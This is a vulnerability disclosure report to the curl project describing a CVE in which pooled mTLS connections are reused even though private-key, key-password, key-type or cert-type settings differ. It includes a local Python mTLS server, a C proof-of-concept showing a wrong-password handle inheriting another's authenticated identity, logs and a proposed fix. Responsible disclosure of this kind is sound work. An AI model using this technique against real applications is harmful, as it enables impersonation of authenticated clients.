curl · Report #3733910
CVE-2026-8932: incomplete mTLS config matching in conn reuse
How it was found
Hi all,
This report (and my multiple subsequent ones) may come as a surprise, as I was assured that curl now had zero vulnerabilities in it.
Nonetheless, I think the CVE-2022-27782 fix ("TLS and SSH connection too eager reuse", commit f18af4f874 2022-05-09, "tls: check more TLS details for connection reuse") was incomplete: it moved a batch of SSL knobs into ssl_primary_config so conn-reuse would compare them, but left the credential-half of the mTLS pair behind in ssl_config_data. Two easy handles sharing a CURLSH/CURLM pool can reuse each other's authenticated TLS connection whenever they differ only on SSLKEY, SSLKEY_BLOB, KEYPASSWD, SSLKEYTYPE, or SSLCERTTYPE. The second handle silently inherits the first's authenticated identity to the server.
The conn-reuse gate is match_ssl_primary_config at lib/vtls/vtls.c:194-225, called via Curl_ssl_conn_config_match (lib/vtls/vtls.c:227-240) from url_match_ssl_config in lib/url.c:991-1003. Its argument type is struct ssl_primary_config * — it literally cannot see anything outside primary. The struct split is in lib/urldata.h:143-168 (primary, compared) vs lib/urldata.h:170-193 (ssl_config_data, not compared). connectdata (lib/urldata.h:389-392) only carries the primary copy into the pool, so once a conn is parked the full ssl_config_data it was born from is gone.
A similar gap exists in the TLS session cache. Curl_ssl_peer_key_make (lib/vtls/vtls_scache.c:137-294) builds the scache lookup key from primary only, and for the client cert it just adds a literal :CCERT marker — same five bytes regardless of which key/cert is set:
if(ssl->clientcert && ssl->clientcert[0]) {
r = curlx_dyn_add(&buf, ":CCERT");
The secondary auth-match check at lib/vtls/vtls_scache.c:607-627 (cf_ssl_scache_match_auth) compares only clientcert and SRP creds — never key, key blob, key passwd, key type, or cert type. (Caveat: in practice the wrong-passwd case eagerly fails inside client_cert() before session-resume can hide it, so the scache gap is real-but-narrow for the passphrase variant specifically. The key-blob / key-type variants don't have that eager-fail.)
PoC: two easy handles attached to a CURLSH with CURL_LOCK_DATA_CONNECT + CURL_LOCK_DATA_SSL_SESSION. Both target https://server.test:8443/, both set the same SSLCERT=clientA.crt / SSLKEY=clientA.key. Handle A sets KEYPASSWD="aaa" (correct); handle B sets KEYPASSWD="wrong-password". Server is a tiny mTLS Python listener that requires CERT_REQUIRED and logs the peer subject per request.
server.py:
#!/usr/bin/env python3
"""
mTLS server for F12 PoC. Requests/optionally requires a client cert and
logs the client cert subject for each request. Returns 200 OK with a
small body. Designed for keep-alive connection reuse so the second
curl handle (B) reuses the TLS connection of the first (A).
Run: python3 server.py
"""
import socket
import ssl
import sys
import threading
import time
HOST = "127.0.0.1"
PORT = 8443
SERVER_CERT = "server.crt"
SERVER_KEY = "server.key"
# Trust both clientA and clientB by accepting any self-signed cert with
# CERT_OPTIONAL and just inspecting the subject; for stricter mTLS one
# would CERT_REQUIRED + load_verify_locations with both client certs.
CA_BUNDLE = "clients-ca.pem"
def make_ctx():
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(SERVER_CERT, SERVER_KEY)
# Require a client cert.
ctx.verify_mode = ssl.CERT_REQUIRED
ctx.load_verify_locations(CA_BUNDLE)
return ctx
REPLY = (
"HTTP/1.1 200 OK\r\n"
"Content-Length: 2\r\n"
"Connection: keep-alive\r\n"
"Keep-Alive: timeout=30\r\n"
"\r\n"
"ok"
)
def subj_str(cert_dict):
if not cert_dict:
return "(no client cert)"
parts = []
for rdn in cert_dict.get("subject", ()):
for k, v in rdn:
parts.append(f"{k}={v}")
return "/".join(parts) if parts else "(empty subject)"
def read_request(sock):
buf = b""
sock.settimeout(5.0)
while b"\r\n\r\n" not in buf and len(buf) < 65536:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
buf += chunk
return buf
def handle(client, addr, ctx):
try:
tls = ctx.wrap_socket(client, server_side=True)
except ssl.SSLError as e:
sys.stdout.write(f"[server] TLS error from {addr}: {e}\n")
sys.stdout.flush()
client.close()
return
except OSError:
client.close()
return
peer = tls.getpeercert()
subj = subj_str(peer)
req_n = 0
try:
while True:
req = read_request(tls)
if not req:
break
req_n += 1
line0 = req.split(b"\r\n", 1)[0].decode("latin-1", "replace")
sys.stdout.write(
f"[server] conn={id(tls):x} req#{req_n} "
f"client_subject={subj} req='{line0}'\n"
)
sys.stdout.flush()
tls.sendall(REPLY.encode("ascii"))
except Exception as e:
sys.stdout.write(f"[server] handler error: {e}\n")
sys.stdout.flush()
finally:
try:
tls.close()
except Exception:
pass
def main():
ctx = make_ctx()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(8)
print(f"[server] mTLS listening on {HOST}:{PORT}", flush=True)
s.settimeout(30.0)
end = time.time() + 25.0
while time.time() < end:
try:
client, addr = s.accept()
except socket.timeout:
break
t = threading.Thread(target=handle, args=(client, addr, ctx),
daemon=True)
t.start()
s.close()
if __name__ == "__main__":
main()
and F12_poc.c:
/*
* F12 PoC: TLS connection-reuse with mismatched private-key config
*
* Two easy handles A and B sharing one connection pool (via curl_share +
* CURL_LOCK_DATA_CONNECT and CURL_LOCK_DATA_SSL_SESSION) point at
* https://server.test:8443/. Both configure CURLOPT_SSLCERT to certA.pem
* (CN=alice). A has the correct CURLOPT_KEYPASSWD; B has a deliberately
* wrong CURLOPT_KEYPASSWD ("wrong-password").
*
* Expected if curl correctly distinguished the SSL configurations of A
* and B: B should not be able to reuse A's connection (its key cannot be
* loaded with the wrong passphrase) and B's curl_easy_perform() should
* fail with CURLE_SSL_CERTPROBLEM or similar.
*
* Observed (the bug):
* - match_ssl_primary_config in lib/vtls/vtls.c:194-225 only diffs
* struct ssl_primary_config.
* - CURLOPT_KEYPASSWD is stored in struct ssl_config_data.key_passwd
* (lib/urldata.h:179), NOT in primary -> never compared.
* - The cert PATH (primary.clientcert) matches for both A and B, and
* all other primary fields match (same verify settings, same scheme,
* etc.), so url_match_ssl_config returns TRUE.
* - B reuses A's connection, never tries to load its (wrong) key, and
* succeeds with HTTP 200. Server still sees CN=alice for B.
*
* Build:
* gcc -Wall -O0 -g -Icurl/include \
* F12_poc.c \
* curl/lib/.libs/libcurl.a \
* -lssl -lcrypto -lz -lpsl -lzstd -lbrotlidec -lidn2 -lnghttp2 \
* -lldap -llber -lssh2 -lpthread -ldl \
* -o F12_poc
*
* Run (with server.py listening on 127.0.0.1:8443):
* F12_poc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#define URL "https://server.test:8443/"
#define HOST_RESOLVE "server.test:8443:127.0.0.1"
#define CERT_PATH "clientA.crt"
#define KEY_PATH "clientA.key"
#define PASS_A "aaa" /* correct */
#define PASS_B "wrong-password" /* deliberately wrong */
static size_t silent_write(char *ptr, size_t size, size_t nmemb, void *udata)
{
(void)ptr; (void)udata;
return size * nmemb;
}
static void set_common(CURL *eh, struct curl_slist *resolve, const char *tag)
{
curl_easy_setopt(eh, CURLOPT_URL, URL);
curl_easy_setopt(eh, CURLOPT_RESOLVE, resolve);
curl_easy_setopt(eh, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(eh, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(eh, CURLOPT_WRITEFUNCTION, silent_write);
curl_easy_setopt(eh, CURLOPT_PRIVATE, (void *)tag);
curl_easy_setopt(eh, CURLOPT_VERBOSE, 1L);
}
int main(void)
{
CURL *A, *B;
CURLSH *share;
struct curl_slist *resolve;
CURLcode ra, rb;
long codeA = 0, codeB = 0;
curl_off_t idA = -1, idB = -1;
curl_global_init(CURL_GLOBAL_ALL);
share = curl_share_init();
curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_CONNECT);
curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_SSL_SESSION);
resolve = curl_slist_append(NULL, HOST_RESOLVE);
/* Handle A: SSLCERT=certA, SSLKEY=keyA, KEYPASSWD="aaa" (correct).
Should connect cleanly and authenticate as CN=alice. */
A = curl_easy_init();
set_common(A, resolve, "A(correct-passwd)");
curl_easy_setopt(A, CURLOPT_SHARE, share);
curl_easy_setopt(A, CURLOPT_SSLCERT, CERT_PATH);
curl_easy_setopt(A, CURLOPT_SSLKEY, KEY_PATH);
curl_easy_setopt(A, CURLOPT_KEYPASSWD, PASS_A);
/* Handle B: SAME SSLCERT, SAME SSLKEY, WRONG KEYPASSWD.
Without conn reuse, B should fail to load its private key.
With the bug, B reuses A's connection and succeeds. */
B = curl_easy_init();
set_common(B, resolve, "B(wrong-passwd)");
curl_easy_setopt(B, CURLOPT_SHARE, share);
curl_easy_setopt(B, CURLOPT_SSLCERT, CERT_PATH);
curl_easy_setopt(B, CURLOPT_SSLKEY, KEY_PATH);
curl_easy_setopt(B, CURLOPT_KEYPASSWD, PASS_B);
fprintf(stderr, "\n=== Request A (correct passwd, expect 200) ===\n");
ra = curl_easy_perform(A);
curl_easy_getinfo(A, CURLINFO_RESPONSE_CODE, &codeA);
curl_easy_getinfo(A, CURLINFO_CONN_ID, &idA);
fprintf(stderr, "A done: code=%ld conn_id=%lld ra=%s\n",
codeA, (long long)idA, curl_easy_strerror(ra));
fprintf(stderr, "\n=== Request B (WRONG passwd) ===\n");
fprintf(stderr, " expectation if curl gates conn reuse on KEYPASSWD: fail\n");
fprintf(stderr, " observed: \n");
rb = curl_easy_perform(B);
curl_easy_getinfo(B, CURLINFO_RESPONSE_CODE, &codeB);
curl_easy_getinfo(B, CURLINFO_CONN_ID, &idB);
fprintf(stderr, "B done: code=%ld conn_id=%lld rb=%s\n",
codeB, (long long)idB, curl_easy_strerror(rb));
if(idA >= 0 && idA == idB)
fprintf(stderr,
"\n*** B REUSED A's CONNECTION (conn_id %lld). "
"B's wrong KEYPASSWD was never validated. ***\n",
(long long)idA);
else if(rb == CURLE_OK && codeB == 200)
fprintf(stderr,
"\n*** B SUCCEEDED on a fresh connection despite wrong KEYPASSWD. "
"Resumed A's TLS session via shared scache (A=%lld B=%lld). ***\n",
(long long)idA, (long long)idB);
else
fprintf(stderr,
"\n--- B correctly failed (A=%lld B=%lld) ---\n",
(long long)idA, (long long)idB);
curl_easy_cleanup(A);
curl_easy_cleanup(B);
curl_share_cleanup(share);
curl_slist_free_all(resolve);
curl_global_cleanup();
return 0;
}
Build:
gcc -Wall -O0 -g -Icurl/include \
F12_poc.c \
curl/lib/.libs/libcurl.a \
-lssl -lcrypto -lz -lpsl -lzstd -lbrotlidec -lidn2 -lnghttp2 \
-lldap -llber -lssh2 -lpthread -ldl \
-o F12_poc
Run (with server.py listening on 127.0.0.1:8443):
./F12_poc
output:
$ ./F12_poc
=== Request A (correct passwd, expect 200) ===
* Added server.test:8443:127.0.0.1 to DNS cache
* Hostname server.test was found in DNS cache
* Host server.test:8443 was resolved.
* IPv6: (none)
* IPv4: 127.0.0.1
* Trying 127.0.0.1:8443...
* ALPN: curl offers h2,http/1.1
* SSL Trust: peer verification disabled
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 / x25519 / RSASSA-PSS
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: CN=server.test
* start date: May 13 18:12:38 2026 GMT
* expire date: May 14 18:12:38 2026 GMT
* issuer: CN=server.test
* Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption
* OpenSSL verify result: 12
* SSL certificate verification failed, continuing anyway!
* Established connection to server.test (127.0.0.1 port 8443) from 127.0.0.1 port 59792
* using HTTP/1.x
> GET / HTTP/1.1
Host: server.test:8443
Accept: */*
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Length: 2
< Connection: keep-alive
< Keep-Alive: timeout=30
<
* Connection #0 to host server.test:8443 left intact
A done: code=200 conn_id=0 ra=No error
=== Request B (WRONG passwd) ===
expectation if curl gates conn reuse on KEYPASSWD: fail
observed:
* Added server.test:8443:127.0.0.1 to DNS cache
* Reusing existing https: connection with host server.test
> GET / HTTP/1.1
Host: server.test:8443
Accept: */*
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Length: 2
< Connection: keep-alive
< Keep-Alive: timeout=30
<
* Connection #0 to host server.test:8443 left intact
B done: code=200 conn_id=0 rb=No error
*** B REUSED A's CONNECTION (conn_id 0). B's wrong KEYPASSWD was never validated. ***
Server log:
[server] conn=7db7846f5470 req#1 client_subject=commonName=alice req='GET / HTTP/1.1'
[server] conn=7db7846f5470 req#2 client_subject=commonName=alice req='GET / HTTP/1.1'
So, it's the same conn=... and same client_subject=alice for both. B's wrong passphrase was never validated — its request rode A's open conn under A's authenticated identity. If KEYPASSWD had been part of the conn-reuse predicate, B would have either opened a fresh handshake (surfacing the bad-passphrase error) or refused reuse. B standalone (not attached to A's share) eagerly fails with CURLE_SSL_CERTPROBLEM (code 43) — so the gap genuinely is in the reuse decision, not in the key load.
Fix is the same shape as f18af4f874 — promote the omitted fields into primary and add them to match_ssl_primary_config, plus mix the clientcert path into the scache key:
--- a/lib/urldata.h
+++ b/lib/urldata.h
struct ssl_primary_config {
...
char *CRLfile;
+ char *cert_type;
+ char *key;
+ char *key_type;
+ char *key_passwd;
+ struct curl_blob *key_blob;
struct curl_blob *cert_blob;
...
--- a/lib/vtls/vtls_scache.c
+++ b/lib/vtls/vtls_scache.c
if(ssl->clientcert && ssl->clientcert[0]) {
- r = curlx_dyn_add(&buf, ":CCERT");
+ r = curlx_dyn_addf(&buf, ":CCERT-%s", ssl->clientcert);
…with matching wiring in clone_ssl_primary_config / free_primary_ssl_config / match_ssl_primary_config and in cf_ssl_scache_match_auth. The passphrase should go into the in-memory Curl_ssl_scache_peer but NOT into the exportable variant (CURL_SSLS_GLOBAL_SUFFIX). (fsslctx/fsslctxp is intentionally out of scope here — that one's already documented as the caller's responsibility to pair with FORBID_REUSE.)
One small related sub-finding I came across while looking at this, same type of thing but mbedtls-only: lib/vtls/mbedtls.c:891-894 unconditionally enables TLS 1.2 renegotiation, and the pinned-pubkey comparison at lib/vtls/mbedtls.c:1071-1126 only runs once after the initial handshake — Curl_pin_peer_pubkey is not re-invoked when the server renegotiates with a different cert. Thought I'd mentoin it.
AFAICT, this bug is practically the same thing as CVE-2022-27782.
Cheers, Joshua.
Impact
A second curl_multi handle with wrong credentials (different key, key password, key type, or cert type) silently reuses an existing mTLS connection that was authenticated with a different client identity — the server sees the first handle's certificate for all subsequent requests on that connection, regardless of what the second handle was configured with. For any application that maps mTLS client identity to authorization decisions (mutual authentication, per-service API keys, client-cert–based RBAC), this means one handle can impersonate another's authenticated session within the same process.